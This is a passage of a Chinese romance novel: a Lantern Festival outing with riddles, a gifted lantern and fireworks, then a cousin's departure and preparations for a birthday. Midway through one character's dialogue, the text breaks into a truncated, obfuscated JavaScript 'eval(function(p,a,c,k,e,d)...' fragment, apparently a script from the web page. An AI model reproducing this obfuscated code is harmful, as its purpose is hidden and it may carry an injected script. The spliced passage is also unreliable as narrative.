瑷宁笑着说：“妹妹们正是爱玩闹的时候，心里肯定都愿意去玩，只是哥哥们不说话，不好意思开口。” 老太太便板起脸：“我也是说，姑娘们好不容易去街上转转，自己又不好走动。——做哥哥的这时候不肯出面，推三阻四，要兄长来何用？” 她转向花澈，“你能有什么要紧事，什么瞎七瞎八的胡闹偏要今天，换个时候不行？今天带着几个妹妹出去玩。” “好，没问题。”花澈半点不为难地答应，“我推了别人，专陪妹妹。” 老太太这才脸色和缓下来：“今日人多，你可把她们看顾妥帖了。” “祖母放心，姑娘们出大门时怎样，回家时还是怎样。” 瑷宁又说：“三弟虽然妥当，今天到底不比平时，一人顾着六个，太劳神了。人多了容易走散，谁也玩不好，分开两拨吧，大爷刚好也去走走。” 花沛还不及开口，老太太便向他道：“也好。你就带着几位表妹，瑛儿瑶儿肯定不愿意跟着你。” 瑷宁笑道：“老太太安排得很妥。不过由妹妹、屏妹妹她们和二妹三妹分不开，还是随着三弟这拨好些。” 花沛说：“五弟六弟早就盼着看灯，我带他两个去吧。姑娘们又不乱跑，三弟在跟前就够了。” 瑷宁口边半噙着笑，看了花沛一眼。 映雪则向花潜使个眼色，花潜便请缨：“还是我也去，我带着五弟六弟吧。” “行了，听我布置，谁也不许再说话。澈儿你带着两个曲丫头和瑶儿。小五小六跟着你们大哥。”老太太一锤定音，又对花潜道，“你带着你二妹妹还有郭丫头、戚丫头，你媳妇留在家，和你大嫂两个陪我。” 众人再无意见，老太太又细细嘱咐一番，不过是要小心着些，别玩得太晚等话，大家答应了便各自散去。 酉时过半，花澈遣人来请几位姑娘。银荷要小朝她们每人带了几串钱，跟着织雨等大丫环出门玩耍，宝屏的丫环丁香也一同去了，蝉影却不放心，要伴着花瑶。四人做好准备，上了马车。 虽然起初嘴里说着不想出门，但真到了外面，车水马龙，人声鼎沸，她们又都兴奋起来，一路唧唧呱呱个不停。 行了段时间，花澈在外头敲敲车窗：“人太多了，车子走不动，你们还是下来走吧。” 几人早就坐得不耐烦了，迫不及待跳下车。花澈递过几张面具：“委屈你们挡挡脸，我可不想大过节的和人打架。” 面具都是精致的美人面，银荷觉得挺好玩，和宝屏互相系上。花瑶看那人像妖冶，本不大喜欢，又怕哥哥不高兴，便也戴好。大家嘻嘻哈哈取笑一番，朝前走去。 天还没有黑得很沉，街道上已是灯光如昼，道路两边叫那舞龙舞狮的、杂耍卖艺的、占卜百戏的全都占满了，行人们只在路中间慢慢走着。 几位姑娘手挽手，一路左看右看。街上则有很多人一个劲儿瞧着她们的华贵衣饰，又见后面跟着个风流无匹的公子哥儿，不免更加好奇；但若有泼皮无聊之人想趁乱挨近一点点，便会不知从何处冒出几位汉子，不着痕迹将他们拦住挤开去。 姑娘们看得欢喜，哪里注意到这些，她们恨不得个头能再高点儿，能再多长几只眼睛，那就真是惬意无比了。 花澈安安静静跟在后头，姑娘们站住他也站住，姑娘们拍手他便给赏钱，姑娘们买了东西他伸手提过来。若不是他那么俊的相貌，那么潇洒的服饰，谁见了也得说他是个再称职不过的长随。 宝屏暗自纳罕三表哥原来这么和气，以前怎么竟会怕他。连花瑶一时忘形，也“三哥”长“三哥”短来回唤着。 几人此时走到一个杂耍圈子前，场中高高竖了几根杆子，中间绷着绳索，一位姑娘准备表演绳技。 那姑娘十八、九岁，不高不低的个头，一身红衣红裤，一条深红绸带紧扎出一道细腰，一根红头绳绑一股粗黑辫子斜垂在胸前。向周围一圈看客施礼后，她便站得直直的，唇边微露出一点笑涡。她长得并不多美，要和千金小姐们相比难免显得粗枝大叶，但她双目黑亮有神，有股子倔强大方劲儿，银荷一见之下便很喜欢。 花澈凑到她耳边，悄声说：“我看这位红姑娘和你有点像。” 银荷几乎立即就把这句话视作赞美，说起“红”，她的脸倒是一下子红了。但也来不及细想——锣鼓声动，红姑娘踏着鼓点助跳几步，翩然一跃就稳稳踏上了绳索。 下面的人还没看清她是如何上去，就见她已在绳间灵活地行走、跳跃。别说是根比手指粗不了多少的软绳，一般人就是在平地上也难做到如此敏捷自如。 这时有人在下面扔出一把大刀，红姑娘腰身轻轻向后一弯，手臂一低，接了明晃晃的钢刀，又挺立身子，提刀舞了起来。一时间红云飞舞，刀光似流星四下划落。 旁观的人都瞧出这姑娘是实打实的真功夫，不似有些杂耍艺人，只会搞些幌子噱头。每到惊险处大家便齐声叫好。银荷不错眼地看着，心都提到了嗓子眼，连赞叹的功夫都没有。 舞完一套刀法，红姑娘扔下钢刀，在绳上又是一通旋转腾挪。众人喝彩 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银荷急急转过身去，若无其事地又向前走，等着心儿慢慢平静下来。她感到有一点儿羞愧，又有一点儿困惑，却没察觉其实还有一丝丝的喜悦。 几人走走停停，来到了城中最宽阔繁华的大街。 这里是专布置出的赏灯场地，路两旁挂满了大大小小各式各样的花灯，均为巧匠制作。观灯的以妇人居多，一路环佩叮当，香风阵阵。又有不少人偷偷拿眼去瞧花澈。 花澈是一点儿都无所谓，谁看他，他便毫无顾忌地回看谁。人家的眼神是拐弯抹角，他的目光可是直来直去；不光看，有时他还冲人咧咧嘴角，点两下头，也不管是不是认识对方，这一来，害不少大姑娘小媳妇羞红了脸蛋。 走过一段，花澈终于不耐烦起来，停步说道：“你们自个儿逛逛吧，总不至于能让人拐了走。我在这里等着，你们看完了就回到这儿来。有事不用怕，和人吵架没关系，砸了灯更不要紧，只别离了这条街就行。”几人连声答应了，他便闪身进了路边一茶肆。 姑娘们边走边到处看着，漫步了一会儿，花瑶突然一颤，立住不动了。 蝉影瞅了一眼，悄悄对花瑶说：“姑娘，你瞧那边是不是卫公子？” 花瑶脱下面具，兜上风帽，深藏了脸，说道：“和我有什么相干？”但终归忍不住，又向蝉影指的方向望去。 卫维扬独自站在路旁，心不在焉地看着街上的人潮。在一片喧嚣熙攘中，他那清隽之姿益显得飘然出尘，几乎教人不敢直视。 然而一定还有不少姑娘在暗暗看他，可他全没注意。周围这般热闹，而他是如此寂寥，花瑶只觉心里一抽一抽地疼。 她扭头去看灯下的表姐，她的身影可真美啊。花瑶的心头重又涌起这些天她时时感到的痛苦，好像一把钝刀在她胸口剜着。 突然，一道奇异的光闪过她的眼睛，她的脸色豁然开朗了。她在蝉影耳边吩咐了几句。 蝉影听了着急地看看她，又看看银荷，不解道：“姑娘这是为何？” “你不用管，按我说的做，快！”花瑶使劲推她一把，蝉影这才不情不愿地走开。 26. 猜谜 银荷默默看了一会儿灯，一回头，花瑶和宝屏竟都不见了影子。原地张望了半日，银荷便走到路边人少的地方站住，怕跑远了，她们回来又找她不着。 等了一会儿，她着急起来，正预备往前面再走走，身后一个略迟疑的声音问道：“曲姑娘，是你吗？” 银荷猛地转过身：“卫公子——你也来了。” “果真是你。”卫维扬笑起来，“刚刚见到了姑娘的表妹，说你们走散了，让我帮忙留意戴面具的人。” “我还正找她们呢，在哪儿？” “刚才还在那边。”卫维扬回头看看，“别急，应该没走远，我们去找找。” 两人找了一会儿，一无所获。银荷抱歉道：“劳烦卫公子了，你的同伴该等急了吧。” “我是和家兄家嫂一起来的，他们领着家妹家侄，早不知去哪里了。我没关系，还是先找到你表妹她们要紧。” 这时蝉影从人群中钻出来，跑上前说：“三姑娘不太舒服，先回家了。” “啊，怎么了？那快走吧。”银荷转身要向卫维扬道别。 “不用了，没什么大事，屏姑娘陪着她。三姑娘要我来说一声，表姑娘务必别着急，看完灯再回去。”不待银荷回答，蝉影一转身，消失在人群之后。 话还没说清呢，蝉影先急着跑了，银荷想追她，卫维扬劝说道：“花三姑娘既如此说，又有人陪伴，姑娘莫如依她，免得她心不安。刚才我看见花二公子往前面走了，等着姑娘看完灯，与他们碰了面，正好一道回去。” 银荷心想，花瑶宝屏说不定返回已有好一段时候，再揣摩蝉影的意思，大概她们已找到花澈，立即就回家，自己赶去，恐怕也扑个空，倒真不如先看了灯再说。 但她还有些踌躇。前几天花沛说了那些话，当时虽生气反驳，到底听进去了。又想：要是迎头撞上花沛，岂不是难堪得很，不由便问：“卫公子看到我大表哥没有？” “没有。他大概已经见到你表妹——你们不是与你大表兄一起来的？” “是与我的三表哥一起来的。” 卫维扬没说什么。银荷想，卫公子与花涛交好，提起花沛、花潜似乎也颇有交情，可一听花澈，却是在心里摇头的模样，肯定是花澈“臭名”在外，让人实在赞不出话来。 因想，花澈那样不规矩的人，整日尚且昂然自得，自己和卫公子胸襟坦荡，更没什么可顾虑的。银荷本来不爱瞻前顾后，这么一想，便向卫维扬笑道：“那就劳卫公子陪我走一段。” 卫维扬原有点自悔鲁莽，恐怕令她作难，见她这样豪爽，钦佩、欣喜之余又有一丝惭愧，急忙把心头刚刚私自生出的一点别扭丢开。“走吧。”他说。 当下，两人边走路，边赏灯，边交谈。银荷遮着脸，但行人都猜想这位姑娘定然是顶顶得意，卫维扬则脸上始终挂着笑。路过的人向他们注目，两人谁都没留心。 银荷确实从未见过这样的热闹，忍不住伸手向灯前指指点点；一路走来，卫维扬说不出见过了哪些灯，只记得被烛火映成红红的、透明的、纤细的一只手，指上套着细细一只拧麻花的银戒指。 两人走着，到了路口敞阔处，便见这里挂着数十盏小灯，灯下拴着谜语条子，许多人围在下面仰着头看。 银荷虽喜猜谜，却不愿向人群中去挤，只在旁边听别人议论。原来是方才宫中送出了这九九八十一道新制灯谜，第一个全解对的人可获琉璃宫灯一只，是以好多人在那儿冥思苦想。 银荷听了，便向卫维扬小声道：“这做皇帝的好生小器，才备一份礼，还得解对全部谜语才肯送，分明是想把东西原样收回去。” 卫维扬笑说：“这灯会多一半是太子办的，他最尚俭恶奢。如今又少了两样税赋，所以今年连烟花都取了。这个可不能让他再拿回去。曲姑娘若喜欢，我就去试试。” 银荷笑道：“瞧我灯下黑，忘了能解的人在这儿。” 卫维扬走去，向那挂着的灯谜只略扫两眼，又转身回来，给银荷找了块地方：“劳累姑娘待着别动，稍稍等我一下。” 说罢，他走到一边，对一位小黄门说了几句话。那小太监看他一眼，满面笑容将他领到旁边一家客店中。 银荷在原地来回走着，总感觉有道不知哪里来的目光落在她身上。她向四面看去，人群是红红绿绿一片，其中，有个娴静淡雅的身影格外引人注意，定睛一瞧，却是戚晚。 银荷对戚晚的打扮不由暗暗赞叹：她穿条靛青的裥色裙，披着黛色短斗篷，本是寻常装束，但在今夜却别出心裁——衣裙一层一层渐融入黑暗，正好映衬出戚晚粉白柔美的面容。那是张瞧上去很舒服，让人觉得一眼不够，还想再看一眼的脸。偏巧她喜欢低头，更具楚楚可怜之感。此时她就是站在人群之外，微微低了头。 莫非她是走散落了单？银荷又向一旁细细搜寻，却没找到花潜花瑛等人。 正想过去招呼，恰这时卫维扬走过来，望向银荷一笑。 从他离去也不过一盏茶时间，银荷便听到那太监走到人群前，大声宣布谜语已被卫公子全部解出。周围顿时一片人语响。卫公子解对谜题倒不是什么稀奇事，但他拿了奖品，竟走到一位戴着面具的小姐面前，人们不由都瞪大了眼睛。 不知今晚又有多少姑娘要芳心暗碎，众人心中各怀感想，把那幸运的面具小姐瞅了几眼，一哄而散。 有那么一小会儿，银荷成了众矢之的，心里一阵不自在，只装作若无其事的样子，再四面去找花瑛等人，却连戚晚都不见了。 “方才我看到戚姑娘一个人站在那边，是我二伯母的外甥女，卫公子认不认得？”她问。 卫维扬略想了一想：“我应该见过戚姑娘一二面。今天她是与你二表兄一道来的？前面遇上时，我没大留意。” 其实卫维扬留意了，当时他想：花家人多，倒很热闹，只是怎不见那位曲由心姑娘？这时候，他不禁有些脸热心跳，赶快转开头帮着找人。 无论是不是用了全副心思，反正再没瞧见任何一个熟悉面孔。银荷说：“算了，咱们走吧。我瞧戚姑娘刚才并不着急，说不定知道他们在哪里等着她，这时已经会面了。” 卫维扬便说：“我瞧人都往那边去了，我们也过去，恐怕你二表兄就在前面。若实在找不到，我送姑娘回去。” 银荷却隐隐有个想法：虽然花澈与花瑶她们先走了，但他一定还会返回，在他说好的那个地方等她。 她脚底下不自觉地往来路走，又问卫维扬：“卫公子刚才是如何猜的谜？只看那么几眼，便是谜底明写在上面，又哪里记得住？” 卫维扬笑答：“其实那几眼什么都没看见，我是作了个弊：我晓得屋子里面还有一份记好的谜面，在里面当场看当场猜的。” “那也很了不得，怎么一下子就全部猜中了！” “没有什么，姑娘一定也可以，不信试试，——容我想一下。”卫维扬思索片时，连念出三条来。 银荷在心里微一琢磨，猜出两条，又自语道：“拿走——打诗经一句。这可难了，能是什么呢？——啊，我知道了，莫非是携手同行？” “正是。”卫维扬笑吟吟望着她。 银荷的心儿似被风吹过的湖面，泛起阵阵涟漪，忙说：“这怎么不是你更厉害？光这三条我就想破了脑袋，还是侥幸，再多绝不能了。” “那可不一样，这三条可抵其它三百条。”卫维扬笑道，“我猜的那些是宫里传出来的，必是上头那位先猜，要是谜面太难，岂非不妙。而姑娘的题目却是我出的，本就是存心刁难姑娘一下，反正猜不中，你也不会砍我脑袋。谁料姑娘冰雪聪明，竟没被我难住。” 听到他的夸赞，银荷不禁美滋滋的。可是“携手同行”几个字，以及他眼中的笑意，又令她慌乱。 忙又笑说：“‘走’，可不是同‘行’么。卫公子这个谜，先是想不到，想到了又觉得浅近直白，可再一细想，这个‘同’字生出来得极自然有趣，又贴切，也真只有卫公子。若论起来，作谜可比猜谜难，猜谜不过按图索骥，作谜却要不拘一格。像卫公子这三则，别人可作不来。好就好在既不会让人一下子打中，又不会让人一直想不出，是要让猜谜人转个脑筋，然后恍然大悟，自以为聪明——殊不知，他这聪明早被作谜人料中了。与其夸我聪明，不如说卫公子是变着法儿夸自己罢。” “姑娘也别太戳破了我。”卫维扬笑了一阵，从手里的匣子中取出一盏灯，又从道旁卖灯人处借了灯油点上，递给银荷，“猜对的奖励。这个灯小巧，正适合你们女孩子用。” 那灯儿仅石榴大小，通体琉璃制成，烛光在里面闪烁着，映出来却加倍亮堂，煞是可爱夺目。银荷忙摆手：“卫公子回去送给令妹吧。” “她想要，明年自己来猜谜，这个就是为给你的，姑娘不用再推辞。” 银荷只好接了，心里怪难为情，嘴上只管找话说：“奉行节俭本是好事，但也未免太过了。像这样的灯，应该都是成对儿，卫公子就好拿另一只回家——”话一出口，被自己听见，简直不像样，急忙补上，“——给妹妹了。”便闭了口。 好在卫维扬并不觉得有不对，提起妹妹年龄尚小，只知顽耍等话，这银荷又有的说了，便自然地谈说下去。 这时夜深，观灯的人都在散去，有时遇到路上人多，两人在一旁少停片刻。卫维扬看银荷伫立的身影，却好似熙攘的人群是静止不动的背景，只有她在悠然穿行。月亮有时也如这般在云间游弋，可月儿还得从云朵中露出半张皎洁的脸来，而她达到同样的效果，甚至连面具都无需摘下。——也并不希望摘下，这样彷佛留有一个盼头，等下回见面，就可以瞧见她原本的样子。 下回是何时呢？卫维扬想着，几乎没发觉游人愈来愈少，街道渐渐变得安静，他们又在向前走了。 沉默了一小会儿，卫维扬开口道：“你还没有见过你那位三伯父吧，他是我的恩师。他常向我说，令尊是他非常好的朋友。” 银荷不由想：曲老爷可算我的老师，花家三老爷又是卫公子的老师，两位老爷还是少年时，必定高山流水，惺惺相惜，难怪我见了卫公子，便有旧日相识之感。 可她一下子又想到由心，由心才是该与卫公子结识的人。心中一阵悲恸，银荷说不出一个字来。 卫维扬立即察觉了，以为她是怀念父母亲人，很后悔说了这话，便接着道：“前日老师有信给我，说起每近上元，总有颇多感触，我想，老师远在异乡，逢到佳节，必然如此，但我往下读信，老师的意思却是，不拘相隔万里还是……” 银荷抢先说：“我明白，有朝一日，终会相遇。” 终会相遇。卫维扬在心里翻来覆去想着，忽地抬头向旁边一望，停下说：“你表哥在那边。” 银荷听见“表哥”二字，莫名紧张，但转头一看，花澈在街对面一盏灯下站着，丝毫没有着急不耐的样子。见他们二人望过去，他大步走来，满面春风，先向卫维扬致敬，道：“多承维扬兄关照我的表妹，弟感激不尽。天晚不敢深扰，来日再登贵府上拜谢。” 卫维扬也拱揖还礼：“岂敢，实是维扬之幸，不当领受。” 两人客气一番后，花澈转向银荷：“妹妹尽兴没有，现在可要回家？” 银荷轻轻点头：“劳烦三表哥等我，回去吧。”又微微躬身向卫维扬行了一礼，没再说话，跟着花澈走了。 走了几步，花澈问：“妹妹累不累，要不要我把马牵过来？” 银荷摇头，又问花瑶，花澈只说没事，便带她拐上旁边一条街道，又拿过她手上的灯，随口称赞几句，替她提着。 银荷看他心情甚好，也不以为和卫维扬独处值当大惊小怪，放下心来。 这是一个无风多云的温柔夜晚，这样走着，不冷，也不乏累，银荷仿佛乘舟漂在小河上，懒洋洋的，只觉舒适。 可是，不知走了多久，她终于注意到有些不大对了：夜色已然深浓，除了这一盏小灯，四下里都是黑魆魆的，又黑又静，静得出奇，原本轻微的脚步声都似被放大了很多。 “这是哪里，马车呢？”银荷忍不住问。 “别急，这不就到了。”花澈说着，又转入一条小巷，马车正停在巷口。拉车的马一动不动站着，赶车的人一动不动坐着，而花澈的那匹骊马在一旁，更是几乎隐身在黑夜中，只听马蹄轻而脆地在地上敲。直到提灯走近，银荷才看见马儿的大眼温驯地瞧过来。 花澈却不上马，径直走向车后，银荷以为他要扶自己上车，不肯过去，要等他先让开。花澈手指一弹，把灯弹灭了，便丢进车中，顿时一片漆黑。 银荷的手被拉住，急得她叫道：“这是干什么？” “嘘，妹妹小声些，让人家听到，还当我是个歹人，等会儿拿着菜刀、棍子过来了。” “莫非冤枉你了？” “我是何样人妹妹还不知？我带妹妹去个地方，就在上面。”花澈仍是自管拉着她，“我等妹妹那么久，妹妹能对我有一半耐心也好哇。” “你放开，我自己能走。” “那好。妹妹小心脚下。” 这巷子其实是一条长而陡的坡道，隔几步便有几层台阶，实在并不好走。天很黑，只够勉强看清一步远的距离。 银荷不肯再向前，停住问：“这里怎么没人，我们去哪儿？” “别人同我们一样，出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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就在这时，听见一声响，银荷望去。一颗银星摇摇地升上天空，飞遁在夜幕中，下一瞬，自它消失的地方，就像满抓一把笔，蘸饱了颜料往那墨纸上一挥——哗地迸出千百道流光。虽然不一时也就散尽了，但那光彩还久久留于眼前。刹那芳华，无怨无悔。 银荷不可思议地看着。 “妹妹看过烟花吗？” “没有。” “正好，我也没有好好看过。” “这是谁人放的？”好一会儿，银荷才想起来问。 “管他是谁，咱们就看着。” 两人静静看了许久。烟花一树一树地绽开，天空时暗时明。那纵横四射的火红流星，就像要洒到人身上似的。 银荷忘情地仰着脸，好久才发觉花澈正对着她看。 “妹妹不怪我了？——其实，本来我倒是可以有工夫。” 银荷讥讽道：“我自然不怪三表哥，倒是三表哥该怪我，耽误了你与人共度佳期。” “不怪，妹妹不是百倍地补偿我了？” 银荷立刻把身子往旁边闪了闪，警惕地看着花澈。 花澈笑笑：“这也是肺腑之言。今夜没有星星，没有月亮，本来算不得佳期，可是有妹妹啊。” 银荷扭头又看天上，像是缝了口，一声不吭。 花澈说：“不费妹妹的事，却能帮我省下好大的工夫，妹妹愿不愿意？” 银荷不解意思，总归花澈也没个正经话，她只问：“三表哥想要我做什么？——我什么都不会，未必帮得了你。” 花澈却不说，朝银荷望了一会儿，轻轻笑一声，摇摇头：“向妹妹提要求，这我怎么开得了口。” 银荷便不理他。 隔了一会儿，花澈又说：“还是说点儿热热火火的话才有意思。别辜负了时节，咱们赌个彩头吧。” “不赌。” 银荷话音未落，花澈接道：“不赌玩意。咱们来个更有趣的——猜猜对方这会儿心中想什么。你猜对了我便答应你一件事，我猜对了也一样，如何？” “别人心里的事，如何猜得出？”银荷笑道。 “难，才有趣啊。” 银荷怀疑地看看花澈：“你要我答应你什么？” “你怎知我一定赢。”花澈笑起来，“妹妹世间无二的玲珑心肠，我怕猜不出。倒是妹妹可以先拣个要求。” 银荷不知他要搞什么鬼，想了片刻说：“我猜对了你不承认又如何？” “保证公道。首先，万一叫我猜着了，妹妹不会不认，我一万个相信。至于我，我从来不说假话。” 谁说的，又假又坏！银荷心想，只不讲出来，怕又被他抓住话头。 “苍天在上，我对妹妹倘有欺瞒之意，要我——妹妹想要我发个什么誓？” 要你生疮长疖，银荷心恨道。 “用不着你在这儿指天指地，我不和你赌。” “妹妹戒备心也太重了，怕我猜中你的心思？那我还非得猜上一猜。” 说着，花澈目光直射过来，对着银荷眼睛。黑暗中，他那双目有如寒星一般，银荷不由乱了神，待要别开脸，又不甘示弱，便抬起眼，直直对着他。 只听花澈道：“我猜，妹妹正在想——”他停住片刻，接着，很有把握地说，“妹妹准是在给我织罗哪样罪名了。如何，对不对？” 要问刚刚那一刻银荷在想什么，连她自己也说不出个一二，但显然不是这个，她不禁暗中松了一口气。 “猜错了！” “是么？”花澈沮丧地摇摇头，“妹妹的潋滟明眸还真是会撒谎呀。” “你就是猜得不对，我没那样想。”银荷怕他不信。 “所以我没料错，妹妹才真是个难猜的谜。”花澈一笑，“我先输给妹妹一半，这下不必顾虑了吧？现在轮到妹妹猜，猜对了你尽可以提要求，哪怕要我站在大街上学几声驴子叫，我都答应。” “不爱听。” “那妹妹爱什么？不论什么刁钻点子——我听凭妹妹驱使一次。” 银荷不答。 “猜吧，此刻，我想什么——”花澈看向她，目光先在她唇上停留了一会儿，才向上，注视她的双眼，“千真万确，你猜我现在最想做什么？” 恰好一连数朵烟花在头顶盛开，光芒映照之下，银荷将他神情瞧得清清楚楚。 脱下面具后，在夜凉之中，脸上亦是凉的，但此时，被花澈一盯一问，即刻间，银荷的双颊一如火烧。 “我猜不出，也不想猜。我现在最想回家。”她生硬地说，猛地从墙上跳下，震得脚底板都疼了。她只管朝坡下走去。 谁的后脑勺也生不出眼睛，可花澈说话时的样子——那轻轻摇着头、半责怪半纵容的笑——宛在银荷眼前。 他说：“回答不老实。” 背面的天空中，一片片烟花仍在兀自绽放。 27. 生辰 万紫园东侧花墙下立了一溜儿大小丫头，个个屏息缄口，低头瞧着地上卵石镶嵌的花纹。银荷进来瞧见，诧异道：“这是要做什么？” 绘云赶快跑上来，摆手悄声说：“姑娘先回吧，老太太这会儿正不痛快。” “怎么了？”银荷忙问。 “是为了三爷。三爷又说要出门去，上一年就是正月里出去，这才回来待了没多久。老太太不肯答应。” 银荷听见，确实意外。元宵节也不过就是三四日前，当时花澈还嬉皮笑脸，半点没显出即将远行的样子。不过，银荷转念又想，这种事，如何会对她透露。 正要走，邀月急急奔出来，在院门口拽住了银荷：“曲姑娘请别走，帮我劝劝老太太。” “我不行，我劝不了。”银荷连声说，“过会儿我还来。要么我去和大嫂说声？” 邀月直摇头：“刚才大爷在这儿，已经被老太太骂走了。姑娘听见缘故了吧，别人都劝不了，怕只有姑娘还可以。我一直等着姑娘呢。”邀月拉住银荷不放，“好姑娘，求求你，赖好进去和她老人家说几句话，生气了半天了。” 银荷好生为难。要是其它还好办，老太太舍不得孙子离家，自己又能说上什么话？但架不住邀月来回央告，只好硬着头皮进屋去。 屋内静悄悄的，邀月抢上前打开里间门帘：“曲姑娘来了。” 银荷看到老太太正坐在平日常坐的圈椅上擦泪，花澈在她面前立着不动。 “由儿过来坐。”老太太话音刚落，邀月就搬过坐墩置于她身侧。银荷犹豫片刻，上前坐了。 老太太伸手揽住银荷，搂在怀里，抚着她肩膀说：“快一年了，长高了些，比刚来时还好看。” 银荷没有抬眼看花澈，但可以感觉到他的目光，浑身都不自在，急忙就说：“三表哥做了什么，为何要在这里罚站？” “他就是专门来气我的。”老太太哼道，对花澈摆摆手，“你也不用做样子。我知道花家太小，放不下你，你要走就走，谁还拦得了？” “是孙儿不对，又让祖母难过了。不过这次确有要事，实非得已。还好有妹妹陪祖母，我也能放心些。我不去太久，三个月内一定回来。” “你能有什么要紧事，怎么不敢说明白？多久回来的哄人话就给我免了罢。” “不是哄祖母，祖母若是不信——反正我不会当着妹妹扯谎，将来惹妹妹笑话。” “行了，你愿意什么时候回来我不管。”老太太这么说着，脸色和缓多了，“再有十来天就是由儿生日了，你不能迟些走，先给妹妹过完生日？” 银荷本打算悄无声息地过了由心生辰，没想到老太太还惦记着。她慌忙摇头：“我的生日没什么好过，又不是整岁数，我以前也不爱过生日，姑祖母别为我费心了，更别耽搁了三表哥的事情。” “是你在这儿第一个生日，总该庆贺一下。就咱们自己，谁都不费心，你好好玩就行。”老太太说着，又看向花澈，“澈儿怎么说？” 花澈低头望着银荷的脸：“若是妹妹的芳辰，自然是该贺的。只是这次我要对不住妹妹了。妹妹不会怪我吧。” 银荷脸红着，站起身说：“当然不怪。三表哥在外平安。” 花澈趋前，靠近银荷，压低声音道：“妹妹也多保重。我常念着妹妹。说不定，我还会为妹妹送一份礼物。” 说完，他向老太太行过礼，转身走出去。 后来银荷得知，当日午后花澈便离开了。不知怎么回事，她心里却是一松。 初时，老太太虽不痛快，但有花澈保证数月内必还家，又有银荷和其他孙儿孙女在跟前凑趣，没两日也就放下了那份心。 这天，花沛夫妇在旁时，老太太笑道：“看我糊涂的，一着急倒把沛儿给骂了。明明是老三自己可厌，反嫌老大对兄弟不关心。沛儿这几日不高兴，可是心里头埋怨我？” 花沛忙否认。 瑷宁也笑道：“祖母这是从哪儿说，祖母肯教训我们，是我们的福气。” “老大身上担子重，你和沛儿就很好了，对弟弟妹妹都上心。” 瑷宁赶紧又说：“那是弟弟妹妹们自己好，我们并没使什么力。——表妹几个也都好，大爷常说，对几位表妹，也是亲妹妹一般看。” “可不，正该如此。由儿过几天生日，你两个看着，怎么给她操办一下。” 瑷宁满口答应。花沛见此情形，只道瑷宁大度，有时嘴上不饶人，心却软，先前那场争论早被她忘怀了。他吁出一口气。 不过，老太太说他不高兴并不假，确实另有件让他不顺心的事：年后去衙门，碰到一位礼部赵郎中，此人素善钻营，专好打听些京都权贵们的家事为己所用，花沛不喜他，只碍于情面搭讪几句，但赵郎中却道：“听说府上不日就会有喜事了？” 花沛诧异，问何有此话。 赵郎中说：“谁人不知上元节卫侍读赢了宫灯，赠给了贵府的小姐。只是戴着面具，不知是府上行几的小姐，可否透露一二，拙荆和舍妹好奇，一直缠着我问呢。” “既戴着面具，怎知是我家的姑娘。”花沛板起面孔，冷冷地说。 “自是有知情人物。你又何必瞒我，卫侍读何等才高气傲之人，既能当众做出此举，这事儿可算是板上钉钉了。卫侍读一表人才，和令妹不正是良配？你这做大哥的再疼妹妹，对这位妹丈也没什么可说的罢。” “真是无稽之谈！”花沛怒道，“我家中的事情我倒不清楚？上元节那日舍妹几人都和我在一起，连卫翰林面都没见过，遑论其它。这等荒诞传闻，还是早日止住为好。若赵郎中打听得谁是那造谣生事之人，还请告知，我倒要找他请教个说法。”说罢他拱手离去，留赵郎中在原地惊愕不已。 等无人时，花沛细想一回，心渐渐沉下去。他对两个妹妹还是有数的，不论是花瑛还是花瑶都不大可能，甚至也不用往郭诗钰和戚晚两人头上想，这事十成十是说的由心表妹。 又是那个卫维扬！自打听见说他和表妹结识，花沛就觉得再没人这么讨厌，哪怕他是三老爷的爱徒，哪怕自己心里知道他才华过人气度不俗——因此才更为可厌。 花沛不知一肚子气该往哪儿撒。当然，怪不得别人，定是三弟吊儿郎当，心里没个轻重，放着自家妹妹们不顾，不知跑到哪里厮混去了。但说他也是白说，他能把什么往心上放，现下人又出了门，自己倒被老太太数落。 花沛唯有苦笑。 . 这时刚开了春，老太太说春寒还未过去，姑娘们还是先别出去玩，于是大家都呆在家里，每日互相串串门。 一日，银荷和瑷宁碰上，因知道映雪最近按大夫嘱咐静养，不得走动，花瑛也害了风寒，便一起去瞧她两个。 先到映雪屋里。映雪披件小袄，头发松松绾着，正在窗边做针线，见二人进来，忙把手上东西放下，就要站起来：“大嫂和由妹妹来了，我这刚起床还没收拾呢。” 瑷宁按住她：“怎么还做活？” “天天躺哪里躺得住，就想着缝几件小衣服，做做歇歇，现在一件还没做好呢。”映雪说着就拿了衣服给她们看，“由妹妹别笑话我，比你的手艺可差远了，也没什么样子。” 银荷细细看了，赞道：“二嫂做得极好，将来宝宝穿了一定又漂亮又舒服。做母亲的一片心，我哪里能比。” “我现在好像还没省过味儿来呢，哪来的做母亲的心，不过是闲着找个事情做。”映雪虽如此说着，脸上却带了将为人母的平静满足。她相貌虽无可特别夸耀的地方，但自有一种难得的温柔和善，在他人身上少见。此时，她唇边漾起微微的笑意，整个人如沐在暖阳中，不光银荷看了对她更多几分亲近，瑷宁也是羡慕不已，心中又有些酸涩。 “不知会是个小子还是丫头？”瑷宁问。 “不知道。”映雪红了脸，“我倒盼着是个丫头。我时常想怪不得老太太喜欢女孩，先前我家里没有姐妹，来了方知道姐妹多的好处。” 瑷宁当然明白，映雪不过嘴上说说而已，谁不盼着头个儿是男孩？只有自己，才真正是哪怕男女，只要得一个。 心里又一阵酸，便道：“喜不喜欢也不在男女。我听人说，三弟刚下生时，老太太不大高兴。那时还没有二妹妹三妹妹，家里只一个珍大姑娘。老太太见又是个男孩，便不待见，不待见了几年，可你看如今，不是全都补回来了？” 几人正谈笑，丫环来报说戚姑娘来了，紧接着，戚晚便轻快地走进屋。 她甜甜笑着向众人打招呼，瑷宁只淡笑着点点头。映雪拉了戚晚一起坐在床沿：“晚妹妹不用天天过来看我，离得怪远的。” “走走就到了，二表嫂不必心疼我。”戚晚拿出几张纸，“今天是画了几幅花样子顺便给二表嫂带来。” 瑷宁也凑着一起瞧了，便说：“戚晚妹妹真是心思细腻，将来不知哪个有福气的能娶了你去。” 戚晚脸通红，垂了头惆怅道：“我没有想着要嫁人，能一直陪着姨母便知足了。” 瑷宁见状极不耐烦，起身对映雪说：“也坐了半天了，改日再来。初五是由妹妹生日，到时候寿星还来拜你。” “哎呀，那怎么敢当，初五我一准去拜寿星。”映雪笑着说，“昨天大夫把了脉，其实现在就可以走动走动，只是……太太非要我多躺几天。”映雪不好提丈夫，脸又红了。 很快，便到了初五这日。 